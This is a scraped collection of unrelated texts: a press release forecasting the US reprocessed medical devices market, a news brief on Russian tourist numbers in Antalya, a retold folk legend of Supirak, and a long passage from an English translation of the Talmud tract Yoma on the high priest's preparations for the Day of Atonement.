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Dublin, April 01, 2022 (GLOBE NEWSWIRE) -- The "US Reprocessed Medical Devices Market Forecast to 2028 - COVID-19 Impact and Regional Analysis By Product Type and End-User, and Geography" report has been added to ResearchAndMarkets.com's offering.
The US reprocessed medical devices market is projected to reach US$ 2,118.31 million by 2028 from US$ 763.87 million in 2021; it is expected to grow at a CAGR of 15.7% from 2021 to 2028.
Rising importance of medical waste minimization and growing use of reprocessed single-use devices drive the growth of the US reprocessed medical devices market. However, the limitations of reprocessed medical devices and stringent regulatory requirements hampers the market growth.
The usage of reprocessed single-use devices (SUDs) has grown as a common practice worldwide, especially in the US. According to a research article "Transforming the Medical Device Industry: Road Map to a Circular Economy," published in December 2020, the healthcare system of high-income countries is primarily based on a linear supply chain that contains single-use disposable medical devices, which not only raises healthcare costs but also creates other issues such as waste and pollution. Thus, the rising use of SUDs has an indirect but significant impact on the environment and ecosystem.
In most modern nations, SUDs reprocessing is carefully regulated, with well-established reprocessing protocols by the US FDA. Single-use devices are to be reused according to the necessary and important requirements, as well as information on the specific technique to allow reuse, such as the sterilization method to be used and processes such as cleaning and disinfection.
According to the Association of Medical Device Reprocessors (AMDR), reprocessing of SUDs can save up to 50% of hospital costs while also helping to reduce waste. Furthermore, these products maintain the same quality standards as originally manufactured devices, improving patient safety and driving demand for these products.
Hence, the reprocessing of these SUDs assists in reducing medical wastes along with cost-effectiveness in the healthcare industry, which acts as the major driving factor for the growth of the reprocessed medical devices market.
The US reprocessed medical devices market by product is segmented into cardiovascular medical devices, laparoscopic medical devices, gastroenterology biopsy forceps, orthopedic external fixation devices, general surgery medical devices, non-invasive devices, and others.
In 2021, cardiovascular medical devices held the largest market due to increasing cardiovascular devices in the region. Moreover, the same segment is expected to register faster growth owing to low-cost resulting in high adoption of the devices in the region.
The hospitals and clinics segment held the largest share of the market in 2021, and the same segment is anticipated to register the highest CAGR of 16.9% of the market during the forecast period.
Key Market Dynamics
- Rising Importance of Medical Waste Minimization
- Growing Use of Reprocessed Single-Use Devices
- Limitations of Reprocessed Medical Devices and Stringent Regulatory Requirements
- Increasing FDA Approvals of Reprocessed Medical Devices
- Strategic Initiatives by Players
- Medline Industries, LP
- Currie Medical Specialities, Inc.
- Innovative Health
- Teleflex Incorporated
- Johnson and Johnson
- Cardinal Health
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3,5 million Russian tourists in Antalya– Turkish hoteliers will consider it as a success
If the number of Russian tourists in the main Turkish resort remains at the level of last year – which is 3,5 million – Turkish hoteliers will consider it as a success. So, Turkey decided how many Russian tourists the country is waiting for in Antalya. This assessment of the situation was voiced for the Turkish media by the president of the Mediterranean Association of Tourist Hoteliers (AKTOB) Kaan Kavaloglu.
According to him, at the moment, about 784 thousand tourists have arrived at the resort from Russia. At the same time, according to his forecasts, Russia will lose its leadership this year again – as it was last season.
“In 2019, 7 million tourists from Russia came to Turkey, and 6 million of them purposefully went to Antalya. But this season, all the difficulties in Russia continue to affect, including the isolation imposed on the Russians. Last year, we considered 3,5 million Russians as a success, and if 3,5 million Russians come this year, we will consider ourselves successful,” said Mr. Kavaloglu.
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As the story goes, the son wanted to travel the world to seek fortune and so he left his mother, Supirak. After a few years making his fortune, his ship somehow found its way back to his village. Supirak immediately recognized her son and was full of joy on his return. Unfortunately after seeing the mother in ragged clothes, the son was ashamed to acknowledge his mother and chased her away. Disheartened by her son’s action, she cursed her son which resulted in him, his ship together with his crew and the villagers of Malubang turned into stones including Supirak herself.
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Babylonian Talmud, Book 3: Tracts Tracts Pesachim, Yomah and Hagiga, tr. by Michael L. Rodkinson, , at sacred-texts.com
CONCERNING THE HIGH-PRIEST'S PREPARATIONS FOR THE SERVICE OF THE DAY OF ATONEMENT (WHEN THE TEMPLE WAS IN EXISTENCE).
MISHNA: Seven days before the Day of Atonement the high-priest is to be removed from his house to the Palhedrin Chamber (παρεδρων), and another high-priest is appointed to substitute him in case he become unfit for the service by becoming unclean. R. Jedudah says another wife is to be appointed for him also, in case his own wife dies, whereas it is said [Lev. xvii. 11], "and shall make atonement for himself and for his house"; "his house"--that is, his wife. But it was objected that in this manner there will be no end to the matter. (The other wife may die too.)
GEMARA: We have learned in a Mishna (Tract Parah, III., 1): "Seven days before the red cow 1 was to be burned, the priest who had to perform this ceremony was removed from his house to the northeastern chamber of the Temple," etc. "Whence do we deduce this?" said R. Miniumi bar Helviah in the name of Mahassia b. Iddi, quoting R. Johanan: "It is written [Lev. viii. 34]: 'As they have done this day, so hath the Lord commanded to do farther, to make an atonement for you.' 'To do farther' signifies the red cow; 'to make an atonement for you', signifies the Day of Atonement." But perhaps it signifies the atonement of sacrifices generally? Could we know, in this case,
which priest is going to perform the rite? How, then, could he be removed from his home? But perhaps other festivals are meant? We infer the removal seven days before one day from the removal, seven days (before) for the service of one day, 1 but not seven days (before) for a service of seven days [of the festivals of Passover and of Tabernacles]. Perhaps Pentecost, which also is only one day, is meant? Said R. Abba: "We infer a day of one bull and one ram (when one such is sacrificed) [as on the days of consecration], from a day of one bull and one ram, which is the offering for the Day of Atonement; but for Pentecost two rams are prescribed." Perhaps New Year's Day is meant (which is also only one day)? Said R. Abahu: "We may infer a day of the bull and the ram at the priest's own cost from a day when the priest must act likewise, and that is the Day of Atonement. But on the days of Pentecost and of New Year the bull and ram are at the public cost." R. Ashi, however, said: "We may infer a day on which the bull is a sin-offering, and the ram a burnt-offering (as on the day of consecration and on the Day of Atonement), but on New Year's Day and Pentecost both are burnt-offerings."
Rabbina said: "We may infer from a day on which the service is allowed only to the high-priest a day on which the same is the case, but on the other festivals [than the Day of Atonement] the service is permitted to other priests.
R. Johanan taught: "Both phrases, 'to do farther' and 'to make an atonement,' refer only to one day, and that is the Day of Atonement." Resh Lakish, however, infers from the same two phrases--from "to do," the red cow, and "to make an atonement," the Day of Atonement (as stated previously). But how can R. Johanan infer only one of these, since we have learned that for the red cow the priest was also removed? That was not biblical, but optional. [To contradict the Sadducces, the priest was purposely made unclean, and therefore he was recompensed by honors, one of them that of being removed seven days before.]
When Rabbin came from Palestine, however, he said in the name of R. Johanan, quoting R. Ishmael: "By 'do farther' the red cow is meant, and by 'to make atonement' the Day of Atonement." Said Resh Lakish to him: "Whence do you deduce this? From the days of consecration! As on those
days everything mentioned is obligatory, so on these occasions it should be. Perhaps you will say, it is so. But have we not learned that a substitute is prepared? and it is not written that the substitute must also be removed. If you will say, the substitute was likewise removed, then why does the Mishna say, the high-priest was removed, and a substitute was prepared? Let one expression be used concerning both."
Rejoined R. Johanan: "Whence do you, Master, deduce this?" He answered: "I deduce it from what occurred on Mount Sinai. As it is written [Ex. xxiv. 16]: 'And the glory of the Lord abode upon Mount Sinai, and the cloud covered it six days, and he called unto Moses on the seventh day.' Let us see. He called him on the seventh day; to what purpose were the six days? To make a rule for every man who must enter the abode of the Shekhina, that he must be separated six days." But did we not learn "seven days"? Six days are sufficient; but our Mishna is in accordance with R. Jehudah b. Bathyra, who says that seven days are requisite (as will be further explained).
Rejoined R. Johanan again to Resh Lakish: "It is, according to me, who deduce it from the days of consecration, that the following Boraitha should say, that on the priests on both occasions they sprinkled during all the seven days of preparation, from all the ashes of the red cows which were to be found there, because on the days of consecration there was also sprinkling. But according to you, who deduce it from Mount Sinai, where do you find sprinkling on Mount Sinai?" Resh Lakish answered: "Even according to your theory, are they equal? In the days of consecration the sprinkling was of blood, and here water Rejoined R. Johanan. "It presents no difficulty; because R. Hiya taught the water was later substituted for the blood. But according to your theory, on Mount Sinai there was no sprinkling at all?" Resh Lakish answered: "The sprinkling was an optional improvement."
We have learned of one Boraitha which is in accordance with R. Johanan, and of another which is according to Resh Lakish. The one according to R. Johanan is as follows: It is written [Lev. xvi. 3]: "With this shall Aaron come into the holy place." The phrase "with this" means all that is said concerning the days of consecration. Namely, Aaron was separated seven days, and served but one; during the seven days Moses instructed him, to make him acquainted with the service. So it
should be in later generations; the high-priest should be separated for seven days, and serve one day, and two scholars of the disciples of Moses, excepting Sadducees, were placed in his society during the seven days to make him be practised in the service. Therefore it has been said, seven days before the Day of Atonement the high-priest must be removed from his house to the chamber of Palhedrin. And as the high-priest was separated, so the priest who was to burn the red cow was to be removed to the chamber in the northeast of the Temple. Both priests used to be sprinkled during all the seven days from the ashes of the red cow. And if you will say, on this occasion water of the ashes was sprinkled, and on the days of consecration it was blood that was sprinkled, it can be replied, that that water was a substitute for the blood, as it is written: "As they have done this day, so the Lord commanded to do farther, to make atonement for you" [Lev. viii. 34]. "To do farther" means the red cow; "to make atonement," the Day of Atonement.
The Boraitha according to Resh Lakish is as follows: Moses ascended in the cloud, was covered by the cloud, and was sanctified in the cloud, in order that he should have been able to receive the Torah for Israel in a state of sanctitude, as it is written [Ex. xxiv. 16]: "And the glory of the Lord abode upon the Mount Sinai." This occurred after the day in which the ten commandments were given, which was the first of the next forty days. So said R. Jose the Galilean. R. Aqiba, however, said: "'The Lord's glory abode,' that was the first day of the month (Sivan); 'the cloud covered it,' the mountain, not Moses (for during the six days the latter went from God to Israel and from Israel to God); 'and he called,' he called Moses himself. Although Moses and all Israel stood, yet to do honor to Moses, he called him alone." R. Nathan said: "To what purpose was Moses covered by the cloud six days? That the victuals in his bowels should be digested, so that he should be pure as the angels." R. Matthiah b. Heresh, however, said: "The entire separation was for the purpose of overawing him, that the Torah should be received with awe, shivering, and trembling, as it is written [Ps. ii. 11]: 'Serve the Lord with fear, and rejoice with trembling.'" What is meant by "rejoice with trembling"? Said R. Adda bar Matna in the name of Rabh: "Where there is joy, there should be awe."
On what point do R. Jose the Galilean and R. Aqiba differ?
They differ like the Tanaim of the following Boraitha: "On the sixth day of Sivan the Torah has been given to Israel; R. Jose, however, says, on the seventh." According to him who says that the Torah was given on the sixth day, Moses ascended on the seventh; according to him who says, on the seventh, he received the Torah and ascended on the seventh day, as it is written [Ex. xxix. 16]: "And he called unto Moses on the seventh day." R. Jose the Galilean holds with the first Tana, who maintains that the Torah was given on the sixth of the month; arid therefore, he says, "the glory of the Lord abode" after the day on which the commandments had been given. The cloud covered Moses six days, and on the seventh he called him to receive the rest of the Law. But R. Aqiba holds, according to R. Jose, that the commandments were given on the seventh day, and that Moses ascended on the same day.
"And the Lord called unto Moses, and spoke unto him" [Lev. i. 1]. Why was it need to call first, and then to speak? The Torah teaches good manners, that a man should not communicate to another anything before he tells him that he wishes to speak to him. And this is in support of R. Hanina, who has said the same.
Said R. Menasseh the Great: How is it known, when one person communicates something to another, that one has no right to tell it to a third without permission? It is written [ibid.], "spoke unto him out of the tabernacle of the congregation, saying" (in Hebrew "Lemor," which is considered here as equivalent to "Lo Emor," not to speak). From the above saying of Resh Lakish to R. Johanan, that if you infer all this from the days of consecration, etc., we must assume that both agree that whatever is written concerning the days of consecration is obligatory. Now from what has been taught, that about the days of consecration R. Johanan and R. Hanina differed, one says, all that is written is obligatory, and the other, that only which is obligatory for later generations, but what is not obligatory for later generations was not obligatory even then. Infer that R. Johanan is the one who says that all that is written there is obligatory. For were the case otherwise, R. Johanan would have replied to Resh Lakish that it is not so.
In what consists the difference? Said R. Papa, in the separation for the seven days. According to him who says that all that is written there is obligatory, the removal of the high-priest for the seven days is obligatory (and if it was not done, his service
is invalid); according to the other opinion, this is not obligatory. But how is it known that in the second case this is not, obligatory? Because it is written in the Mishna: "A substitute is prepared," and not "removed." What is the reason of him who says that all which is written is obligatory? Said R. Itz'hak bar Bisna: It is written [Ex. xxix. 35]: "And thou shalt do unto Aaron and to his sons, thus." Thus signifies that it is obligatory. This would be right in regard to all the things written in the chapter about the days of consecration; but whence is it known that other things not written in this chapter are also obligatory (e.g., the breastplate and Ephod, not mentioned in that chapter, yet known to be obligatory)? Said R. Na'hman b. Itz'hak: We infer it from an analogy of expression; in that chapter the "door of the tabernacle of the congregation" is mentioned [Lev. viii. 4], and in the chapter about the breast. plate, etc. [Ex. xxix. 4] the same expression recurs. (As in the case of practice it is obligatory, so in the case of the commandment.) R. Mesharshia says: It is inferred from "keep the charge of the Lord" [Lev. viii. 35] (an analogy of expression is not necessary, it is plainly said "keep," hence it is obligatory). R. Ashi says, from "for so I have been commanded" [ibid.]; hence it is obligatory.
How did Moses attire Aaron and his sons on the days of consecration? [That is, to understand the verses of the Bible; we wish to know it, although it does not concern us.] The sons of R. Hiya and R. Johanan differ. One party says he attired Aaron first, and the sons next; and the other, Aaron and his sons at the same time. Said Abayi: About the coats and the mitres they do not differ--namely, that Aaron was attired in them first, and the sons later; for both in speaking of the commandments and the practice Aaron is mentioned first [Ex. xxix. 56; Lev. viii, 7]. What they differ about is the girdle. The party who says, "Aaron, and his sons later," does so because it is written, "and girded him with the girdle" [Lev. viii. 7] and later, "girded them with girdles" [ibid. 131. The party who says they were attired at the same time, do so because it is written, "Thou shalt gird them with girdles, Aaron and his children" [Ex. xxix. 9]. But how can it be said that he attired them at the same time (it is written plainly that first he attired Aaron, and then his sons)? There is a difference between a girdle of the high-priest and that of an ordinary priest. That means, when it is written he girdled Aaron first. it is meant,
with the girdle of the high-priest; but with the ordinary girdles he attired them all at once.
"The high-priest is removed," etc. For what purpose was he removed? "For what purpose?" Has it not been said above, R. Johanan gave one reason, Resh Lakish another? We mean to ask, why had he to be removed from his home (he could practise at home)? Because it was learned in a Boraitha that R. Jehudah b. Bathyra said, it is apprehended lest he have intercourse with his wife, when there is doubt that she is in her sickness (then he would become unclean for the next seven days, and be unable to serve in the temple).
It was taught: The uncleanness contracted from a dead body is not considered in the case of an entire congregation, according to R. Na'hman. R. Shesheth, however, says, it is only postponed in that case. If there are individuals in the family of priests thus defiled, there is no difference of opinion that those individuals may not serve; but if the whole family was thus defiled, there is a difference of opinion between R. Na'hman and R. Shesheth. According to R. Na'hman, clean individuals of another family need not be sought because, where there is a congregation, the defilement is not considered at all. And according to R. Shesheth, who says it is only postponed, individuals of another family may be looked for. According to others, R. Na'hman says: Even the unclean individual also served, as in case of a congregation defilement is not taken into consideration. Said R. Shesheth: The authority for my decree is the following Boraitha: "If one stand sacrificing the Omer, and it become unclean in his hand, he shall so notify, and the congregation shall bring another in its stead. But if there is no other, he is told to have sense and to keep silent." Now we see that in the beginning it is said, another one should be brought in its stead; hence it is not permitted, but only postponed. Said R. Na'hman: I grant that, in a case in which the remains of the sacrifice must be eaten, when undefiled can be obtained, it is better.
On this point the Tanaim of the following Boraitha differed: The golden plate [Ex. xxviii. 36] which is made for the high-priest, whether it is on his brow or not, it atones for all defilements of the offerings." So said R. Simeon; but R. Jehudah said, when it is on his brow it atones, but not otherwise. Said R. Simeon to him: The high-priest who serves on the Day of Atonement has not the plate on his brow, and nevertheless atones for all sins; hence we see that it atones even when not
on his brow. Answered R. Jehudah: Leave the high-priest on the Day of Atonement alone, for defilement is allowed to him when the whole congregation is defiled. Now, from R. Jehudah's answer that the defilement is allowed, we must conclude that R. Simeon holds that the defilement is only postponed, but not allowed.
Said Abayi: When the plate had been broken, all agree that, it does not atone. They differ only when it is suspended on a peg. R. Jehudah says, because it is written [Ex. xxviii. 38], "it shall be upon Aaron's forehead, and Aaron shall atone," etc., (therefore) it only atones when it is on the brow. But R. Simeon's opinion is: Because it is said, "always they may be received in favor before the Lord" [ibid., ibid.]; and it cannot be said that it is meant that it should always be on his forehead, because he must satisfy human needs and sleep; hence we must say, it means that it always receives the Lord's favor. But what will R. Jehudah say to this "always"? He explains that it is meant, it should never be absent from his mind.
Shall we assume that the former Tanaim differ as the Tanaim of the following Boraitha: Both the high-priest and the priest that was to burn the red cow were sprinkled upon during the seven days with all the ashes that were there. So said R. Meir., R. Jose, however, said: He was sprinkled only on the third and on the seventh day. R. Hanina the Segan of the priests said: "The priest that was to burn the red cow used to be sprinkled on during all the seven days, but the high-priest was sprinkled only the third and seventh." Now, shall we assume that the point of difference is, because R. Meir says the defilement is only postponed in case of the congregation, and therefore he has to be sprinkled upon during the seven days, and R. Jose holds the defilement is not considered at all? (How can you say this? If R. Jose holds that the defilement is not considered, why the sprinkling at all on the third and the seventh?) Therefore we must say that all the Tanaim of this Boraitha hold that the defilement is only postponed, and not allowed, and the point on which they are at variance is this: R. Meir holds we compare the sprinkling to the bathing; as the bathing at the proper times is a religious duty, so also is the sprinkling. And R. Jose holds, we do not compare (the sprinkling to the bathing). Now, then, what is the opinion of R. Hanina the Segan? If we compare it to bathing, the high-priest has to be sprinkled also every day; and if not, why is the other priest of the red cow sprinkled every
day? He does not compare; only in case of the priest of the red cow it is an optional improvement. R. Jose b. R. Hanina opposes this: Why is he sprinkled on the fourth day? (The law is that one unclean must be sprinkled on the third day and on the seventh [Num. xix. 12]. The first three days it was apprehended lest each be the third or seventh (after his unintentional defilement), but the fourth after the removal from his house call neither be the third nor the seventh. Even without this, could he be sprinkled all the seven days? One of them must have been on Sabbath, and sprinkling does not supersede Sabbath? Therefore we must say that what is said of the seven days, is meant with the exception of Sabbath. The same is the case with the fourth; it is meant, all the seven days, except the fourth. Said Rabba: Therefore the high-priest must be removed seven days before the Day of Atonement, whose date is not dependent on us; but on the third day of the month, 1 he must be removed seven days before that day, no matter when the fourth day falls. But the priest of the red cow, the date of whose removal depends on us, should be removed on such a day that the fourth shall fall on Sabbath.
"To the Palhedrin Chamber." We have learned in a Boraitha: R. Jehudah said: Was it called the Palhedrin Chamber, it was called the Chamber of the Lords? He answers: Formerly it was called the Chamber of the Lords, but after the high-priests began to be appointed for money, and changed as government officers (Palhedrin, changed once in twelve months), it began to be called the Hall of the Palhedrin. What is meant by Palhedrin? Officers.
Rabba bar bar Hana in the name of R. Johanan said: It is written [in Proverbs x. 27]: "The fear of the Lord increases man's days, but the years of the wicked will be shortened." "The fear of the Lord increases the days"; that refers to the first Temple, during whose existence of four hundred and ten years there were only eighteen high-priests. "The years of the wicked will be shortened," refers to the second Temple, which existed four hundred and twenty years, and more than three hundred high-priests succeeded each other during that period. Subtract the forty years during which Simeon the Righteous ministered, eighty years of Johanan the high-priest's ministry, and ten years of Ishmael b. Favi--according to others, eleven
years of R. Eleazer b. Harsum--and compute, you will see that not even one high-priest completed his year.
R. Johanan b. Turtha said: Why had Shiloh fallen? Two sins were committed there: adultery and sacrilege. Adultery, as it is written [1 Sam. ii. 22]: "Now Eli was very old, and heard all that his sons were in the habit of doing unto all Israel; and how they would lie with the women that assembled at the door of the tabernacle of the congregation." And sacrilege, as it is written [ibid. 17]: "And the sin of the young men was very great before the Lord; for the men despised the offering of the Lord."
Why has the first Temple fallen? Because there were three things: idolatry, adultery, and bloodshed. Idolatry, as it is written [Jerem. xxviii. 20]: "For the bed shall be too short for a man to stretch himself out on it; and the covering too narrow to wrap himself in." And R. Johanan said: The bed is too narrow that there should be two, God and the idols. [Said R. Samuel b. Nahmoni: When R. Jonathan used to come to this verse, he used to cry, saying: That the Lord, of whom it is said [Ps. xxxiii. 7], "He gathereth together like heaps the waters of the sea," should feel too little space because of an idol.] Adultery, as it is written [Is. iii. 16]: "Forasmuch as the daughters of Zion are fraud, and walk with stretched forth necks and casting about their eyes, walking and mincing as they go, and making a tinkling with their feet." R. Itz'hak said to this: What is meant by tinkling? They used to fill the shoes with spices, and when a young man was by, they pressed the spices with the feet, to attract his attention.
Bloodshed, as it is written [2 Kings xxi. 16]: "And also innocent blood did Manasseh shed in very great abundance."
But the second Temple, where the occupations were study of the Law, religious duties, and charity--why fell it? Because there was groundless enmity. 1 From this we can infer that unfounded hatred is equal to all the three sins together: idolatry, adultery, and bloodshed. In the time of the first Temple, although they were wicked, yet because they put their trust in the Holy One, blessed be He, as it is written [Micah iii. 11]: "Her heads judge for bribes, her priests teach for reward, and her prophets divine for money: and yet they will lean upon the
Lord, and say, Is not the Lord among us? evil cannot come over us." For this, the Holy One, blessed be He, brought on them three chastisements, for their three sins; as it is written [ibid. 14]: "Therefore for your sake shall Zion be ploughed up as a field, and Jerusalem shall become ruinous heaps, and the mount of the house, forest-covered high places."
R. Johanan and R. Elazar both said: In the time of the first Temple, as their sin was laid bare, therefore the date of the end of their suffering has likewise been revealed; but in the time of the second Temple, when their sin was not stated clearly in writing, therefore the date of the end (of their suffering) was not revealed either.
R. Johanan said again: The nail of those of the time of the first Temple was preferable to the belly (whole body) of those of the time of the second Temple. Said Resh Lakish to him: On the contrary, the last were better. Although they were subject to a foreign government, nevertheless they studied and observed the Law. Rejoined R. Johanan: The fact of the Temple can prove it. The first obtained the Temple once more, and the last have it not yet. R. Elazar was asked Who were greater, the first or the second? He replied: Take the Temple as a sign.
Resh Lakish was bathing in the Jordan: Rabba bar bar Hana came to him, and shook hands with him. Resh Lakish said to him: God detests you Babylonians, as it is written [Solomon's Song viii. 9]: "If she be a wall, we will build upon her a palace of silver; and if she be a door, we will enclose her with the boards of cedar." That signifies thus If you were all strong as a wall, and went all with Ezra, you would have been like silver, which can never rot; but as you did not, you were like wooden doors, which are subject to decay.
It is possible that Resh Lakish spoke with Rabba bar bar Hana? If with R. Elazar, who was the principal man in Palestine, Resh Lakish did not speak; because it was a rule that, with whomsoever Resh Lakish spoke in the street, money could be given to him without witnesses. Should Resh Lakish then have spoken with Rabba bar bar Hana (who was an inferior man)? Says R. Papa: Substitute another person. Either it was Resh Lakish and Z'eri, or R. Elazar and Rabba bar bar Hana. When the last came to R. Johanan and related to him what Resh Lakish had told him, he said: This is not the reason. If all had come with Ezra, even then the Shekhina would not have dwelt in the second Temple, since it is written [Gen. ix. 27]: "May
God enlarge the boundaries of Japheth, and may he dwell in the tents of Shem"; that signifies, that although God enlarges the boundaries of Japheth, his Shekhina can only dwell in the tents of Shem (i.e., because the second Temple was under the rule Of the Persians, who are of Japheth, the Shekhina could not dwell there, but only in Solomon's Temple, which was Shem's). And how is it known that the Persians are descendants of Japheth? Because it is written [Gen. X. 2]: "The sons of Japheth: Gomer, and Magog, and Madai, and Jabon, and Tubal, and Meshech, and Thirass"; and R. Joseph has taught, that Thirass is Persia.
R. Joshua b. Levi said in the name of Rabbi: A time will come, when those who have destroyed the second Temple will fall into the hands of the Persians. As it is written [Jerem. xlix. 20]: "Therefore hear the counsel of the Lord, that he hath resolved against Edom; and his purposes, that he hath devised against the inhabitants of Theman. Surely the least of the flocks shall drag them away: surely he will devastate their habitation." Rabba b. Ula opposed: How is it known that by the least of the flocks Persia is meant? Because it is written [Dan. viii. 20]: "The ram that thou hast seen, him with the two horns, signifies the kings of Media and Persia?" Perhaps Javan (the Greeks) are meant? As it is written [ibid. 21]: "And the shaggy he-goat is the king of Javan (Greece)." When R. Habiba b. Surmika went up to Palestine, he told to a scholar the objection of Rabba b. Ula. He said to him: A man who cannot explain the verses of the Bible should dare oppose Rabbi? What is meant by "the least of the flock"? the youngest of the brothers (that is, Thirass), and R. Joseph has said, Thirass is Persia.
Rabba bar bar Hana in the name of R. Johanan, quoting R. Jehudah b. Ilai, said: Those who have destroyed the second Temple will fall into the power of Persia. And this is an a fortiori reasoning: If the children of Shem, who built the first Temple, and the Chaldeans, who destroyed it, fell into the hands of the Persians, how much more the destroyers of the second Temple, which the Persians themselves have built, must fall into the power of the Persians. Rabh, however, said: On the contrary, it will come that Persia will succumb under those who have destroyed the Temple. Said R. Kahana and R. Assi to Rabh: Is it right that those who had built the Temple should fall under the dominion of those who have destroyed it? He answered: Yea, such is the decree of the King. R. Jehudah also said in the name of Rabh: The Messiah, descended from
David, will not arrive until Rome shall have dominated over the entire world nine months. As it is written [Micah v. 2]: "Therefore he will give them up until the time that she who travaileth hath brought forth"; and the end of the verse is, "then shall the remnant of his brethren return with the children of Israel."
The rabbis taught: All the chambers of the Temple had no Mezuzahs, 1 except the Chamber of Palhedrin, which was a dwelling of the high-priest. Said R. Jehudah: Were there not many chambers in the Temple which were dwellings, and nevertheless were without Mezuzahs? Therefore we must say that the Mezuzah in the Palhedrin Chamber was only as a precautionary measure (lest it be said of the high-priest that he was in prison, which requires no Mezuzah). What is the reason of R. Jehudah's opinion that no Mezuzahs need be in the chambers of the Temple, even those which are dwellings? Said Rabba: R. Jehudah holds that a house not made both for summer and winter is not considered a house requiring a Mezuzah. Abayi objected: Is it not written [Amos iii. 15]: "And I will smite the winter house together with the summer house" (hence each is called a house)? He answered: It is called "winter house" or "summer house," but not house alone. Abayi objected again: We have learned in Maasroth, III., 7: "In regard to the booths made for the Feast of Tabernacles, during that feast things are made obligatory by R. Jehudah, but not by the sages." And concerning this Mishna we have learned in a Boraitha: R. Jehudah makes obligatory in regard to them Erub, Mezuzah, and Tithes (hence we see even a booth is considered a house). But perhaps it will be said, this is only rabbinical, but not biblical? This would be right of Erub and Mezuzah, but about Tithes it cannot be said that R. Jehudah makes them obligatory only on rabbinical grounds, lest he will thus tithe grain which is to be tithed rabbinically for that which is to be tithed biblically, and this is forbidden.
Therefore said Rabha: During the whole year nobody differs from the opinion that the booth is exempt from these duties; they only disagree about the seven days of the feast. And the reason for the Sukka is one, and that for the chamber of the Temple is another. The reason for the Sukka is, because R. Jehudah is consistent with his theory that a Sukka must be a permanent dwelling; and a permanent dwelling requires a Mezuzah.
[paragraph continues] The rabbis are in accordance with their theory that a Sukka need be only a temporary dwelling, which requires no Mezuzah. And the reason for the chambers of the Temple is: The sages hold, a dwelling in which a person abides by compulsion is considered a dwelling-house; and R. Jehudah's opinion is, it is not considered so. Therefore biblically it is exempt from a Mezuzah; but the rabbis have ordered a Mezuzah to be made, lest it be said the high-priest is imprisoned.
Who is the Tana of the following Boraitha which the rabbis taught: "All gates which were in the Temple had no Mezuzahs, except the gate of Nicanor, next to (before) which was the Palhedrin Chamber." Shall we assume that this is only according to the rabbis, and not according to R. Jehudah? For, if it were according to R. Jehudah, who thinks the Mezuzah in the chamber itself was only a precautionary measure, how could a Mezuzah be made on the gate; that would be a precautionary measure against a precautionary measure? Nay, that is all one precautionary measure.
The rabbis taught: What is written [Deut. vi. 9] "upon thy gates" applies to the gates of houses, courtyards, cities, and countries; all these are under the obligation of this religious duty towards God, as it is written: "And thou shalt write upon the door-posts of thy house, and upon thy gates." Said Abayi to R. Saphra: Why was no Mezuzah made on the city gate of Mechuzah (the majority of whose population were Jews)? Abayi replied: It was not made, because it would have been dangerous. (The government in its ignorance would say it was a charm. 1)
As we have learned in the following Boraitha: A Mezuzah of an individual must be examined twice in a Sabbatical period (seven years, whether it is valid); and one of a congregation, twice in a jubilee (fifty years). And R. Jehudah said: It once happened a repairer examined a Mezuzah in the upper market of Ziporeth, and a quæstor surprised him doing this, and fined him a thousand Zuz. But did not R. Elazar say, that harm cannot befall a delegate for religious duties? In cases where harm is usually to be expected, it is different. As it is written [1 Sam. xvi. 2]: "And Samuel said: How shall I go? If Saul should hear it, he would kill me"; and the Lord said: "Take a heifer with thee; and say, To sacrifice unto the Lord am I come." (It
is therefore evident that in cases of certain danger, even a delegate for a religious duty has to fear.) R. Kahna taught before R. Jehudah: A house where straw, cattle, wood, or grain is kept, is exempt from a Mezuzah, because women wash themselves there. Said R. Jehudah to him: Is that the reason why these houses are exempt? And otherwise, it were not so? Have we not learned in a Boraitha, a stable is exempt from a Mezuzah in any event? What is meant is, that in spite of the fact that women make their toilet there, and they may be considered as dwellings, yet they are exempt from Mezuzahs. Rejoined R. Kahna: Is that so? We have learned in another Boraitha, a stable is exempt from a Mezuzah; but if the women make their toilet there, then a Mezuzah is obligatory? What canst thou answer, except that it is one of several different opinions of the Tanaim? So I can say, that what I have said about the reason of the women's washing themselves, is also one opinion of the Tanaim. R. Jehudah, however, holds that when it is not known that the women make their toilet there, all agree they are exempt.
R. Samuel b. R. Itz'hak taught in the presence of Rabba: Six kinds of gates are exempt from a Mezuzah: those of places where straw is kept, or cattle, wood, grain, or a Median (vaulted) gate, or a roofless gate, or one less than ten spans high. Thou hast said six, and hast enumerated seven? He answered: About the Median gate the opinions of the Tanaim are different.
The rabbis taught: "A prayer-house, a house belonging to a woman, and one belonging to two partners, must have a Mezuzah." Is not this self-evident? One might think, because it is written "in thy house," but not "in her house" or "in their house," such are exempt, he comes to teach us that it is not so. But whence do we deduce that it is not so? It is written [Deut. xi. 21]:"In order that your days may be multiplied, and the days of your children" (a Mezuzah is then useful to longevity; does not a woman wish to live long?). Why, then, is it written "thy house" (Bethcha)? It is according to Rabha, who said, it is equivalent to Biathcha (thy entering); as one enters the house with the right foot usually foremost, therefore the Mezuzah should be on the right side of the entrance.
"Another high-priest is appointed," etc. It is certain that when the high-priest became unfit by some accident before the daily morning offering (on the Day of Atonement itself), the substitute was exercised in the service of the daily morning offering
(and made to be recognizable as the high-priest). But if the accident happened after the daily morning offering, how was it? (All the services were done in the four articles of dress of an ordinary priest, not in the garments of a high-priest). Said R. Ada bar Ahba: He was exercised in the girdle. (So that he was recognized to be the high-priest.) It is right, according to the Tana who says that the girdle of the high-priest did not differ from that of an ordinary priest; and on the Day of Atonement, as the high-priest's girdle was of byssus, he was identified as the high-priest, but according to him who says that the high-priest's girdle was different (and to girdle him with the high-priest's girdle, except during service, is forbidden), how then was he identified? Said Abayi: He attired himself in the eight articles of dress, and went with the basin, and turned over the sacrifice on the altar that it burn better. (This is considered a service, and he was thus exercised and recognized.) And that is according to R. Huna, who said: A layman who turns over the sacrifice is liable to capital punishment, because it is a service. R. Papa, however, said: His service is his exercise (no preparatory ones are necessary). Because, did not a Boraitha state that all the vessels Moses had made, were consecrated by their anointment? Who consecrated the vessels made later than the time of Moses? Their use for service consecrates them. So also here, his service is his exercise.
